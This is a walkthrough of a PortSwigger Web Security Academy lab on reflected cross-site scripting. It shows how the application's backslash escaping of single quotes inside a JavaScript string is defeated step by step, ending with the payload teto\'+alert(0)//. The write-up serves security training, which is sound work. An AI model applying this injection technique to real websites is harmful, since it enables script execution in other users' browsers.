Reflected XSS JS string angle brackets double quotes encoded single quotes escaped

Field	Value
Platform	PortSwigger Web Security Academy
Difficulty	Practitioner
Vulnerability	Reflected XSS — Backslash Escape Bypass in JavaScript String
Injection Point	JavaScript string inside <script> block
Goal	Execute alert(0) by escaping the backslash escape

Lab — Reflected XSS: Backslash Escape Bypass in JavaScript String

Solution Walkthrough

Searching for teto confirms the injection point is inside a JavaScript string:

var searchTerms = 'teto';

Step 1 — Test single quote escaping

teto'

var searchTerms = 'teto\'';

The application escapes ' with \ — our quote is neutralized.

Step 2 — Inject a backslash before the quote

teto\'

var searchTerms = 'teto\\'';

The application escapes our \ to \\ — which in JavaScript represents a literal backslash character, not an escape sequence. Our ' is now unescaped because the \\ consumed the escape role. The string closes at our injected '.

Step 3 — Understand what we have

After teto\\' the string closes, leaving a stray ' at the end. Testing with a variable:

teto\'; var miku = 'miku

var searchTerms = 'teto\\'; var miku = \'miku';

The first statement closes at teto\\' — valid. var miku becomes a second statement. The remaining ' at the end from the application's original closing quote needs to be consumed.

Step 4 — Confirm the structure with concatenation

teto\'+miku

var searchTerms = 'teto\\'+miku';

The string 'teto\\' is concatenated with miku — the stray ' remains at the end.

Step 5 — Inject alert and comment out the trailing quote

teto\'+alert(0)//

var searchTerms = 'teto\\'+alert(0)//'

Alert fires and the lab is solved :P

---